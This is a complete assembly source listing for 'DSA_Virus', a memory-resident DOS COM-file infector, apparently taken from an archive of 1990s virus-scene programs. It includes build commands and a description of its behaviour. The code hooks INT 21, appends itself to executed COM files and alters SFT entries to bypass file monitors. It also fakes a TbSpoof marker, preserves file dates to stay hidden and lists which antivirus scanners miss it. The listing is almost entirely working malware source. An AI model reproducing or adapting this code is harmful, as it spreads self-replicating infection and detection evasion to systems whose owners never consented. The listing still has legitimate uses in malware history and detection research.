home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / RJUPDAT2.ZIP / DSA.ZIP / DSA.ASM next >
Assembly Source File  |  1996-09-08  |  9KB  |  225 lines

  1. ;=====( DSA_Virus by Rajaat )==================================================
  2. ;
  3. ; Memory resident appending COM infector, residing in the stack space reserved
  4. ; for the DOS AH < 0ch calls. Works through TBFILE using SFT manipulation,
  5. ; obtained through the DSA. File date/time won't be altered and the virus can
  6. ; circumvent attributes. The virus is, compiled with TASM, a mere 263 bytes
  7. ; long.
  8. ;
  9. ;==============================================================================
  10. ;
  11. ; Virus name    : DSA_Virus
  12. ; Author        : Rajaat
  13. ; Origin        : United Kingdom, July 1996
  14. ; Compiling     : Using TASM
  15. ;
  16. ;                 TASM /M DSAVIRUS
  17. ;                 TLINK /T DSAVIRUS
  18. ; Targets       : COM files
  19. ; Size          : 263 bytes
  20. ; Resident      : Yes, no decrease in memory reported
  21. ; Polymorphic   : No
  22. ; Encrypted     : No
  23. ; Stealth       : Memory only, by utilizing dos stack space
  24. ; Tunneling     : Uses SFT to avoid some monitors
  25. ; Retrovirus    : Yes, uses TbSpoof
  26. ; Antiheuristics: Yes
  27. ; Peculiarities : Makes extensive use of the Dos Swappable Area (DSA)
  28. ; Drawbacks     : Might crash, I'm not sure :)
  29. ; Behaviour     : The first time the DSA virus is executed, it will check if
  30. ;                 it's already resident in memory by looking at the first byte
  31. ;                 in the DOS stack, located in the DSA. If this resembles a
  32. ;                 mov bp,xxxx instruction, it's already resident and the DSA
  33. ;                 virus will return control to the host program. If not, the
  34. ;                 virus will install itself in the DOS stack area, reserved for
  35. ;                 DOS INT 21 functions below 0ch. It will hook INT 21. If a
  36. ;                 program is executed while the DSA virus is resident, it will
  37. ;                 open it in read-only mode. Then it will use the DSA to locate
  38. ;                 the current SFT. In the SFT it modifies the read-only mode to
  39. ;                 read/write, effectively passing the file checks of TBFILE. It
  40. ;                 will also clear the file attributes during the infection
  41. ;                 process by using the SFT. The DSA virus will read the first
  42. ;                 5 bytes of the file and checks wether the file is already
  43. ;                 infected or if it is an EXE file. If both checks are passed
  44. ;                 successfully, it will write itself at the end of the file
  45. ;                 and patches the start of the COM file to point at its code.
  46. ;                 The infected file increases by 263 bytes. Before closing the
  47. ;                 file, the DSA virus sets the file date/time update flag, so
  48. ;                 the date won't change after infection. After infection it
  49. ;                 will set the file attribute again and return control to it's
  50. ;                 caller.
  51. ;
  52. ;                 It's unknown what this virus might do besides replicate :)
  53. ;==============================================================================
  54. ;
  55. ; Results with antivirus software
  56. ;
  57. ;       TBFILE                    - Doesn't detect it
  58. ;       TBSCAN                    - Doesn't detect it
  59. ;       TBMEM                     - Detects it
  60. ;       TBCLEAN                   - Cleans it, so what?
  61. ;       SVS                       - Detects it
  62. ;       SSC                       - Doesn't detect it
  63. ;       F-PROT                    - Doesn't detect it
  64. ;       F-PROT /ANALYSE           - Doesn't detect it
  65. ;       F-PROT /ANALYSE /PARANOID - Doesn't detect it
  66. ;       AVP                       - Detects it
  67. ;       VSAFE                     - Corrupts infected files on my system!
  68. ;       NEMESIS                   - I don't try this one anymore
  69. ;
  70. ;==============================================================================
  71.  
  72. .model tiny
  73. .code
  74. .radix 16
  75. .286            ; why bother with XT?
  76.  
  77.                 org 100
  78.  
  79. DSA_Virus:      mov bp,0                        ; delta offset
  80. Relative_Offset equ $-2
  81.                 mov ax,5d06                     ; get DSA pointer
  82.                 int 21                          ;
  83.  
  84.                 cmp byte ptr [si+600],0bdh      ; mov bp in stack memory?
  85.                 jne Install_TSR                 ; no, install virus
  86.  
  87. ;=====( Return to host )=======================================================
  88.  
  89. Return_to_host: push cs cs                      ; move 5 bytes to offset 100h
  90.                 pop ds es                       ; and execute host
  91.                 lea si,COM_Host[bp]
  92.                 pop ax
  93.                 mov di,0ff
  94.                 stosb
  95.                 push di
  96.                 movsw
  97.                 movsw
  98.                 movsb
  99.                 ret
  100.  
  101. ;=====( Install virus in memory )==============================================
  102.  
  103. Install_TSR:    xchg ax,si
  104.                 test al,0f                      ; DSA at paragraph boundary?
  105.                 jnz Return_to_host              ; no, abort
  106.  
  107.                 add ah,5                        ; DSA+600 = DOS stack for
  108.                 shr ax,4                        ; ah < 0ch, virus re-aligns
  109.                 mov bx,ds                       ; segment, so offset is
  110.                 add ax,bx                       ; 100, like in COM files
  111.                 push cs
  112.                 pop ds
  113.                 mov es,ax
  114.                 lea si,DSA_Virus[bp]
  115.                 mov di,100
  116.                 mov cx,Virus_Length
  117. Move_Virus:     lodsb
  118.                 stosb
  119.                 loop Move_Virus                 ; move virus to stack space
  120.                 push es
  121.                 pop ds
  122.  
  123.                 mov ax,4521                     ; get int 21
  124.                 sub ah,10
  125.                 int 21
  126.                 mov word ptr INT_21,bx
  127.                 mov word ptr INT_21+2,es
  128.  
  129.                 mov ah,25                       ; set int 21
  130.                 lea dx,New_21
  131.                 int 21
  132.  
  133.                 jmp Return_to_host              ; restore host
  134.  
  135. ;=====( Data to place at the start of a COM file )=============================
  136.  
  137. Signature       db '[DSA by Rajaat / Genesis]'
  138.  
  139. Virus_Jump:     db 'PK'                         ; TbSpoof
  140.                 db 0e9                          ; jump to virus
  141.  
  142. ;=====( First 5 bytes of host data )===========================================
  143.  
  144. COM_Host        db 0cdh,020h,0,0,0
  145.  
  146. ;=====( Resident INT 21 handler )==============================================
  147.  
  148. New_21:         not ax
  149.                 cmp ax,not 4b00                 ; execute file?
  150.                 not ax
  151.                 jne Int_21_Done                 ; no, abort
  152.  
  153. Check_Infect:   push ax bx dx ds es
  154.                 mov ah,3dh                      ; open read-only
  155.                 int 21
  156.                 xchg ax,bx
  157.  
  158.                 mov ax,5d06                     ; get DSA
  159.                 int 21
  160.  
  161.                 lds si,dword ptr ds:[si+27e]    ; get current SFT
  162.  
  163.                 push si ds
  164.                 mov word ptr [si+2],2           ; open mode is now read/write
  165.                 mov al,byte ptr [si+4]          ; get file attribute
  166.                 mov byte ptr [si+4],0           ; clear file attribute
  167.                 push ax                         ; push file attribute on stack
  168.                 push cs
  169.                 pop ds
  170.  
  171.                 mov ah,3f                       ; read first 5 bytes of host
  172.                 mov cx,5
  173.                 lea dx,COM_Host
  174.                 int 21
  175.  
  176.                 mov ax,word ptr [Com_Host]
  177.                 sub ax,'KP'                     ; PK signature?
  178.                 jz is_infected                  ; yes, abort
  179.                 sub ax,'ZM'-'KP'                ; MZ signature (EXE file)
  180.                 jz is_infected                  ; yes, abort
  181.  
  182.                 mov ax,4202                     ; goto end of file
  183.                 xor cx,cx
  184.                 cwd
  185.                 int 21
  186.  
  187.                 mov word ptr Relative_Offset,ax ; store relative offset
  188.                 push ax
  189.  
  190.                 mov ah,1                        ; write virus at end of file
  191.                 shl ah,6
  192.                 mov cx,Virus_Length
  193.                 lea dx,DSA_Virus
  194.                 int 21
  195.  
  196.                 mov ax,4200                     ; goto start of file
  197.                 xor cx,cx
  198.                 cwd
  199.                 int 21
  200.  
  201.                 pop ax                          ; calculate jump address
  202.                 mov cx,5
  203.                 sub ax,cx
  204.                 mov word ptr Com_Host,ax
  205.  
  206.                 mov ah,40                       ; write jump at start of file
  207.                 lea dx,Virus_Jump
  208.                 int 21
  209.  
  210. Is_Infected:    pop ax ds si
  211.                 mov byte ptr [si+4],al          ; restore file attributes
  212.                 or byte ptr [si+6],40           ; don't change file date/time
  213.                 mov ah,3e                       ; close file
  214.                 int 21
  215.                 pop es ds dx bx ax
  216. Int_21_Done:    db 0ea                          ; chain to old int 21
  217.  
  218. Virus_Length    equ $-DSA_Virus
  219.  
  220. ;=====( Data used by the virus, but not written to files )=====================
  221.  
  222. INT_21          dd 0
  223.  
  224. end DSA_Virus
  225.